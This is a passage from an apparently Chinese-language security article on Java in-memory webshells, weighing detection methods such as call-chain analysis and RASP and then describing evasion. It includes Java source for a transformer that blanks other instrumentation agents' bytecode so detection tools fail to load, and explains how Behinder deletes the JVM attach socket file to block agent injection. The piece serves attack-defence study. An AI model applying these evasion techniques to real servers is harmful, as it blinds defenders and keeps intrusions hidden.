缺点:如果攻击者通过构造调用链层层调用的方式,去隐藏恶意代码的指纹特征,那么将会大大提高检测的难度和资源的消耗。对此,我们可以使用递归的方式,对调用链上所有的类和方法进行分析判断,只要调用链中的任何一环存在可疑代码,就将其标记为可疑。此外,该方法属于事后检测,在此之前,内存马可能已经在系统中潜伏一定的时间。

RASP 运行时防护

Gartner在2014年提出了应用自我保护技术(RASP)的概念。Java中,RASP也是利用JVM的Instrument技术,在指定关键类的特定方法处进行hook。因此RASP能够感知内存马在内存中执行的一系列操作。

优点:RASP属于实时检测,在内存马创建的过程中就能检测并阻断。这种方式准确性强,可以结合请求的上下文环境进行精准判断,误报的几率较低。

缺点:侵入性较强,运行在应用的整个生命周期中,增加应用的资源消耗。

内存马的免杀

攻防是一个相互博弈的过程,既然有查杀,就会有免杀。最直接的免杀思路,就是破坏掉后续加载的检测Agent,或者使其压根就无法加载,从而达到免杀的目的。

破坏检测Agent的加载

参考:https://github.com/threedr3am/ZhouYu

//ProtectTransformer
package com.nsfocus.shell;

import javassist.*;
import java.lang.instrument.ClassFileTransformer;
import java.security.ProtectionDomain;
import java.lang.instrument.IllegalClassFormatException;
import java.io.ByteArrayInputStream;

public class ProtectTransformer implements ClassFileTransformer {

    private boolean check(String className, CtClass ctClass) throws Throwable {
        CtClass[] interfaces = ctClass.getInterfaces();
        if (interfaces != null) {
            boolean flag;
            for (CtClass anInterface : interfaces) {
                //遇到其它的Agent,不让它加载
                if (anInterface.getName().equals("java.lang.instrument.ClassFileTransformer")) {
                    System.out.printf("[nsfocus] 有新的Agent: %s 加载 %n", className);
                    return true;
                }
                flag = check(className, anInterface);
                if (flag) {
                    return true;
                }
            }
        }
        return false;
    }

    @Override
    public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {

        CtClass ctc = null;
        try {
            ClassPool cp = ClassPool.getDefault();
            cp.appendClassPath(new LoaderClassPath(Thread.currentThread().getContextClassLoader()));
            if (classBeingRedefined != null) {
                ClassClassPath ccp = new ClassClassPath(classBeingRedefined);
                cp.insertClassPath(ccp);
            }
            ctc = cp.makeClass(new ByteArrayInputStream(classfileBuffer));
            if (ctc != null && check(className, ctc)) {
                //System.out.println(ctc.getName());
                return new byte[0];
            }
        } catch (Throwable e) {
            e.printStackTrace();
        } finally {
            if (ctc != null) {
                ctc.detach();
            }
        }
        return classfileBuffer;

    }

}

该代码通过check方法,递归检测 java.lang.instrument.ClassFileTransformer 接口,防止多层嵌套 interface 结构绕过。一旦检测到某个类继承自 java.lang.instrument.ClassFileTransformer 接口,就 return new byte[0],将其字节码修改为空,从而达到破坏目的。

示例

修改Agent.java,将Transformer更改为ProtectTransformer(shell.jar):

在这里插入图片描述

运行demo.jar和shell.jar(ProtectTransformer):
在这里插入图片描述
运行memshell.jar(模拟检测Agent):
在这里插入图片描述
可以看到,ProtectTransformer虽然能够判断出后续Agent的加载,但是未能将其成功破坏掉,这可能与环境或者其内部执行的时机有关。逻辑上来讲,ProtectTransformer是能够破坏RASP正常工作的。

阻止检测Agent的加载

冰蝎内存马从 Behinder_v3.0 Beta 10 开始就添加了防检测的功能。
在这里插入图片描述
对冰蝎中的MemShell进行分析,在Linux下,它通过删除一个名为/tmp/.java_pid+{pid}的文件,达到了防检测的目的。为什么删除这个文件就能够防止检测呢?这还得从Agent加载的流程分析。前面了解过,Agent注入是通过调用com.sun.tools.attach.VirtualMachine的loadAgent实现的。跟进loadAgent,其调用了loadAgentLibrary方法:
在这里插入图片描述
跟进loadAgentLibrary方法,其调用了execute方法:
在这里插入图片描述
跟进execute方法:
在这里插入图片描述
前面我们说过,Linux、Windows等不同平台下的Attach API是不完全相同的。该部分是在使用Windows的tools.jar的情况下分析的,因此上图中显示的是WindowsVirturalMachine.class,其大致功能用于实现进程间通信。结合冰蝎的免杀方法以及Linux下“一切皆文件”的思想,不难反推出,该部分在Linux下是通过execute方法改写socket文件来实现进程间通信的。下面更换Linux的tools.jar验证一下:
在这里插入图片描述

示例

在Linux环境下运行demo.jar进行测试,成功找到JVM进程暴露的socket文件:
在这里插入图片描述
删除/tmp/.java_pid4190后运行memshell.jar,注入失败:
在这里插入图片描述
综上,冰蝎实现免杀的方法应该就是删除JVM进程对外暴露的/tmp/.java_pid+{pid}socket文件,阻止JVM进程的通信,从而禁止了Agent的加载。Agent无法注入,自然就无法检测内存马了。

学习资源

filter内存马

servlet内存马

listener型

Spring controller内存马

Spring Interceptor内存马

其它前提研究-获取request对象

Weblogic注入内存马

java agent内存马

内存马查杀

部分汇总:GitHub - bitterzzZZ/MemoryShellLearn: 分享几个直接可用的内存马,记录一下学习过程中看过的文章

References

https://xz.aliyun.com/t/9450

javaagent使用指南 - rickiyang - 博客园 (cnblogs.com)

Java Instrumentation - i野老i - 博客园 (cnblogs.com)

Java获取当前进程ID以及所有Java进程的进程ID - SegmentFault 思否

https://www.cnblogs.com/nice0e3/p/13811335.html

Java 附加 API : UnsatisfiedLinkError - IT工具网 (coder.work)

内存马的攻防博弈之旅

;